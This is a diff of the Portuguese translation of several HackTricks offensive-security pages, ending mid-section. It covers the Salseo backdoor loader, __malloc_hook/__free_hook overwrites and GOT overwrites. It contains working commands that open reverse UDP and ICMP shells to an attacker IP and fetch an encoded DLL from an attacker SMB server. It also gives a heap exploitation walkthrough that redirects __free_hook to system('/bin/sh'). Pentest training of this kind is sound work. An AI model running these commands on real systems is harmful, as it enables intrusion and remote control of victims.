Lembre-se de iniciar um nc como ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver).
|
Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver).
|
||||||
```
|
```
|
||||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||||
```
|
```
|
||||||
### **Obtendo um shell reverso ICMP (dll codificada já dentro da vítima)**
|
### **Obtendo um shell reverso ICMP (dll codificada já dentro da vítima)**
|
||||||
|
|
||||||
**Desta vez, você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe em:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
**Desta vez você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||||
|
|
||||||
#### **Desativar Respostas ICMP:**
|
#### **Desativar Respostas ICMP:**
|
||||||
```
|
```
|
||||||
|
@ -74,15 +74,15 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||||
#You finish, you can enable it again running:
|
#You finish, you can enable it again running:
|
||||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||||
```
|
```
|
||||||
#### Executar o cliente:
|
#### Execute o cliente:
|
||||||
```
|
```
|
||||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||||
```
|
```
|
||||||
#### Dentro da vítima, vamos executar o negócio do salseo:
|
#### Dentro da vítima, vamos executar a coisa do salseo:
|
||||||
```
|
```
|
||||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||||
```
|
```
|
||||||
## Compilando o SalseoLoader como DLL exportando a função principal
|
## Compilando SalseoLoader como DLL exportando a função principal
|
||||||
|
|
||||||
Abra o projeto SalseoLoader usando o Visual Studio.
|
Abra o projeto SalseoLoader usando o Visual Studio.
|
||||||
|
|
||||||
|
@ -90,19 +90,19 @@ Abra o projeto SalseoLoader usando o Visual Studio.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
### Instale o DllExport para este projeto
|
### Instale DllExport para este projeto
|
||||||
|
|
||||||
#### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...**
|
#### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
#### **Procure pelo pacote DllExport (usando a aba Procurar), e pressione Instalar (e aceite o popup)**
|
#### **Pesquise pelo pacote DllExport (usando a aba Navegar) e pressione Instalar (e aceite o popup)**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
Na pasta do seu projeto aparecerão os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
|
Na sua pasta de projeto, apareceram os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
|
||||||
|
|
||||||
### **Desinstale o DllExport**
|
### **Des**instalar DllExport
|
||||||
|
|
||||||
Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário)
|
Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário)
|
||||||
|
|
||||||
|
@ -112,9 +112,9 @@ Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário)
|
||||||
|
|
||||||
Apenas **saia** do Visual Studio
|
Apenas **saia** do Visual Studio
|
||||||
|
|
||||||
Em seguida, vá para a sua **pasta do SalseoLoader** e **execute DllExport\_Configure.bat**
|
Em seguida, vá para sua **pasta SalseoLoader** e **execute DllExport\_Configure.bat**
|
||||||
|
|
||||||
Selecione **x64** (se você for usá-lo dentro de um ambiente x64, que foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar**
|
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
@ -124,7 +124,7 @@ Selecione **x64** (se você for usá-lo dentro de um ambiente x64, que foi o meu
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (8) (1).png>)
|
![](<../.gitbook/assets/image (8) (1).png>)
|
||||||
|
|
||||||
### Construa a solução
|
### Compile a solução
|
||||||
|
|
||||||
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes)
|
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes)
|
||||||
|
|
||||||
|
@ -134,21 +134,21 @@ Selecione **plataforma x64** (Projeto --> Propriedades do SalseoLoader --> Compi
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||||
|
|
||||||
Para **construir** a solução: Build --> Build Solution (Dentro do console de saída aparecerá o caminho da nova DLL)
|
Para **compilar** a solução: Compilar --> Compilar Solução (Dentro do console de saída, o caminho da nova DLL aparecerá)
|
||||||
|
|
||||||
### Teste a DLL gerada
|
### Teste a Dll gerada
|
||||||
|
|
||||||
Copie e cole a DLL onde deseja testá-la.
|
Copie e cole a Dll onde você deseja testá-la.
|
||||||
|
|
||||||
Execute:
|
Execute:
|
||||||
```
|
```
|
||||||
rundll32.exe SalseoLoader.dll,main
|
rundll32.exe SalseoLoader.dll,main
|
||||||
```
|
```
|
||||||
Se nenhum erro aparecer, provavelmente você tem uma DLL funcional!!
|
Se nenhum erro aparecer, provavelmente você tem um DLL funcional!!
|
||||||
|
|
||||||
## Obter um shell usando a DLL
|
## Obter um shell usando o DLL
|
||||||
|
|
||||||
Não se esqueça de usar um **servidor HTTP** e configurar um **ouvinte nc**
|
Não se esqueça de usar um **servidor** **HTTP** e configurar um **listener** **nc**
|
||||||
|
|
||||||
### Powershell
|
### Powershell
|
||||||
```
|
```
|
||||||
|
@ -169,16 +169,16 @@ set shell=reversetcp
|
||||||
rundll32.exe SalseoLoader.dll,main
|
rundll32.exe SalseoLoader.dll,main
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
1
binary-exploitation/arbitrary-write-2-exec/README.md
Normal file
1
binary-exploitation/arbitrary-write-2-exec/README.md
Normal file
|
@ -0,0 +1 @@
|
||||||
|
# Escrita Arbitrária 2 Exec
|
|
@ -1,25 +1,25 @@
|
||||||
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
|
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Malloc Hook**
|
## **Malloc Hook**
|
||||||
|
|
||||||
Conforme [site oficial da GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamado **armazenado na seção de dados da biblioteca libc**. Portanto, se este endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamado, o **One Gadget será chamado**.
|
Como você pode ver no [site oficial do GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamado **armazenado na seção de dados da biblioteca libc**. Portanto, se esse endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamado, o **One Gadget será chamado**.
|
||||||
|
|
||||||
Para chamar malloc é possível esperar o programa chamar ou **chamando `printf("%10000$c")`** que aloca muitos bytes fazendo com que `libc` chame malloc para alocá-los no heap.
|
Para chamar malloc, é possível esperar que o programa o chame ou **chamando `printf("%10000$c")** que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los na heap.
|
||||||
|
|
||||||
Mais informações sobre One Gadget em:
|
Mais informações sobre One Gadget em:
|
||||||
|
|
||||||
|
@ -28,12 +28,12 @@ Mais informações sobre One Gadget em:
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Observe que os hooks estão **desativados para GLIBC >= 2.34**. Existem outras técnicas que podem ser usadas em versões modernas do GLIBC. Veja: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
Note que hooks estão **desativados para GLIBC >= 2.34**. Existem outras técnicas que podem ser usadas em versões modernas do GLIBC. Veja: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Free Hook
|
## Free Hook
|
||||||
|
|
||||||
Isso foi abusado em um dos exemplos da página abusando de um ataque fast bin após ter abusado de um ataque unsorted bin:
|
Isso foi abusado em um dos exemplos da página abusando de um ataque de fast bin após ter abusado de um ataque de unsorted bin:
|
||||||
|
|
||||||
{% content-ref url="../libc-heap/unsorted-bin-attack.md" %}
|
{% content-ref url="../libc-heap/unsorted-bin-attack.md" %}
|
||||||
[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md)
|
[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md)
|
||||||
|
@ -43,7 +43,7 @@ Isso foi abusado em um dos exemplos da página abusando de um ataque fast bin ap
|
||||||
```bash
|
```bash
|
||||||
gef➤ p &__free_hook
|
gef➤ p &__free_hook
|
||||||
```
|
```
|
||||||
[No post](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) você pode encontrar um guia passo a passo sobre como localizar o endereço do **free hook** sem símbolos. Em resumo, na função **free**:
|
[No post](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) você pode encontrar um guia passo a passo sobre como localizar o endereço do free hook sem símbolos. Em resumo, na função free:
|
||||||
|
|
||||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||||
0xf75dedc0 <free>: push ebx
|
0xf75dedc0 <free>: push ebx
|
||||||
|
@ -57,12 +57,12 @@ gef➤ p &__free_hook
|
||||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
Na quebra mencionada no código anterior em `$eax` estará localizado o endereço do **free hook**.
|
No break mencionado no código anterior, no `$eax` estará localizado o endereço do free hook.
|
||||||
|
|
||||||
Agora é realizado um **ataque de fast bin**:
|
Agora um **fast bin attack** é realizado:
|
||||||
|
|
||||||
- Primeiramente é descoberto que é possível trabalhar com **pedaços rápidos de tamanho 200** na localização do **`__free_hook`**:
|
* Primeiro de tudo, foi descoberto que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**:
|
||||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
* <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||||
|
@ -70,11 +70,11 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||||
</code></pre>
|
</code></pre>
|
||||||
- Se conseguirmos obter um pedaço rápido de tamanho 0x200 nessa localização, será possível sobrescrever um ponteiro de função que será executado
|
* Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
|
||||||
- Para isso, um novo pedaço de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, dessa forma obtemos um ponteiro para um pedaço liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
|
* Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
|
||||||
- Em seguida, a função de edição é chamada neste pedaço para modificar o endereço **`fd`** deste fast bin para apontar para a função anterior **`__free_hook`**.
|
* Em seguida, a função de edição é chamada neste chunk para modificar o endereço de **`fd`** deste fast bin para apontar para a função **`__free_hook`** anterior.
|
||||||
- Então, um pedaço com tamanho `0x1f8` é criado para recuperar do fast bin o pedaço inútil anterior, então outro pedaço com tamanho `0x1f8` é criado para obter um pedaço do fast bin no **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
* Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
||||||
- E finalmente um pedaço contendo a string `/bin/sh\x00` é liberado chamando a função de exclusão, acionando a função **`__free_hook`** que aponta para o sistema com `/bin/sh\x00` como parâmetro.
|
* E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -87,11 +87,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,11 +6,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,19 +19,19 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
### **GOT: Tabela de Deslocamento Global**
|
### **GOT: Tabela de Deslocamento Global**
|
||||||
|
|
||||||
A **Tabela de Deslocamento Global (GOT)** é um mecanismo usado em binários com linkagem dinâmica para gerenciar os **endereços de funções externas**. Como esses **endereços não são conhecidos até o tempo de execução** (devido à linkagem dinâmica), a GOT fornece uma maneira de **atualizar dinamicamente os endereços desses símbolos externos** uma vez que são resolvidos.
|
A **Tabela de Deslocamento Global (GOT)** é um mecanismo usado em binários vinculados dinamicamente para gerenciar os **endereços de funções externas**. Como esses **endereços não são conhecidos até o tempo de execução** (devido ao vínculo dinâmico), a GOT fornece uma maneira de **atualizar dinamicamente os endereços desses símbolos externos** uma vez que eles são resolvidos.
|
||||||
|
|
||||||
Cada entrada na GOT corresponde a um símbolo nas bibliotecas externas que o binário pode chamar. Quando uma **função é chamada pela primeira vez, seu endereço real é resolvido pelo linkador dinâmico e armazenado na GOT**. Chamadas subsequentes para a mesma função usam o endereço armazenado na GOT, evitando assim o custo de resolver o endereço novamente.
|
Cada entrada na GOT corresponde a um símbolo nas bibliotecas externas que o binário pode chamar. Quando uma **função é chamada pela primeira vez, seu endereço real é resolvido pelo vinculador dinâmico e armazenado na GOT**. Chamadas subsequentes para a mesma função usam o endereço armazenado na GOT, evitando assim a sobrecarga de resolver o endereço novamente.
|
||||||
|
|
||||||
### **PLT: Tabela de Ligação de Procedimentos**
|
### **PLT: Tabela de Ligação de Procedimentos**
|
||||||
|
|
||||||
A **Tabela de Ligação de Procedimentos (PLT)** trabalha em conjunto com a GOT e serve como um trampolim para lidar com chamadas a funções externas. Quando um binário **chama uma função externa pela primeira vez, o controle é passado para uma entrada na PLT associada a essa função**. Essa entrada da PLT é responsável por invocar o linkador dinâmico para resolver o endereço da função, se ainda não tiver sido resolvido. Após a resolução do endereço, ele é armazenado na **GOT**.
|
A **Tabela de Ligação de Procedimentos (PLT)** trabalha em estreita colaboração com a GOT e serve como um trampolim para lidar com chamadas a funções externas. Quando um binário **chama uma função externa pela primeira vez, o controle é passado para uma entrada na PLT associada a essa função**. Esta entrada da PLT é responsável por invocar o vinculador dinâmico para resolver o endereço da função, caso ainda não tenha sido resolvido. Após o endereço ser resolvido, ele é armazenado na **GOT**.
|
||||||
|
|
||||||
**Portanto,** as entradas da GOT são usadas diretamente uma vez que o endereço de uma função ou variável externa é resolvido. **As entradas da PLT são usadas para facilitar a resolução inicial** desses endereços via linkagem dinâmica.
|
**Portanto,** as entradas da GOT são usadas diretamente uma vez que o endereço de uma função ou variável externa é resolvido. **As entradas da PLT são usadas para facilitar a resolução inicial** desses endereços via o vinculador dinâmico.
|
||||||
|
|
||||||
## Obter Execução
|
## Obter Execução
|
||||||
|
|
||||||
### Verificar a GOT
|
### Verifique a GOT
|
||||||
|
|
||||||
Obtenha o endereço da tabela GOT com: **`objdump -s -j .got ./exec`**
|
Obtenha o endereço da tabela GOT com: **`objdump -s -j .got ./exec`**
|
||||||
|
|
||||||
|
@ -41,37 +41,37 @@ Observe como após **carregar** o **executável** no GEF você pode **ver** as *
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||||
|
|
||||||
Usando o GEF você pode **iniciar** uma **sessão de depuração** e executar **`got`** para ver a tabela got:
|
Usando o GEF você pode **iniciar** uma sessão de **debugging** e executar **`got`** para ver a tabela got:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (496).png>)
|
![](<../../.gitbook/assets/image (496).png>)
|
||||||
|
|
||||||
### GOT2Exec
|
### GOT2Exec
|
||||||
|
|
||||||
Em um binário, a GOT tem os **endereços das funções ou** da seção **PLT** que carregará o endereço da função. O objetivo desta escrita arbitrária é **substituir uma entrada da GOT** de uma função que será executada posteriormente **com** o **endereço** do PLT da função **`system`** por exemplo.
|
Em um binário, a GOT tem os **endereços para as funções ou** para a **seção PLT** que irá carregar o endereço da função. O objetivo desta escrita arbitrária é **substituir uma entrada da GOT** de uma função que será executada mais tarde **com** o **endereço** da PLT da **função** **`system`** por exemplo.
|
||||||
|
|
||||||
Idealmente, você irá **substituir** a **GOT** de uma **função** que está **sendo chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system).
|
Idealmente, você irá **substituir** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system).
|
||||||
|
|
||||||
Se o **`system`** **não for usado** pelo binário, a função system **não** terá uma entrada na PLT. Nesse cenário, você precisará **vazar primeiro o endereço** da função `system` e então sobrescrever a GOT para apontar para este endereço.
|
Se **`system`** **não for usado** pelo binário, a função system **não terá** uma entrada na PLT. Nesse cenário, você precisará **vazar primeiro o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço.
|
||||||
|
|
||||||
Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
|
Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
|
||||||
|
|
||||||
## Entradas da GOT da libc
|
## entradas GOT da libc
|
||||||
|
|
||||||
A **GOT da libc** geralmente é compilada com **RELRO parcial**, tornando-a um bom alvo para isso, supondo que seja possível descobrir seu endereço ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
|
A **GOT da libc** geralmente é compilada com **RELRO parcial**, tornando-a um bom alvo para isso, supondo que seja possível descobrir seu endereço ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
|
||||||
|
|
||||||
Funções comuns da libc vão chamar **outras funções internas** cuja GOT pode ser sobrescrita para obter execução de código.
|
Funções comuns da libc vão chamar **outras funções internas** cujas GOT poderiam ser sobrescritas para obter execução de código.
|
||||||
|
|
||||||
Encontre [**mais informações sobre essa técnica aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
Encontre [**mais informações sobre esta técnica aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||||
|
|
||||||
### **Free2system**
|
### **Free2system**
|
||||||
|
|
||||||
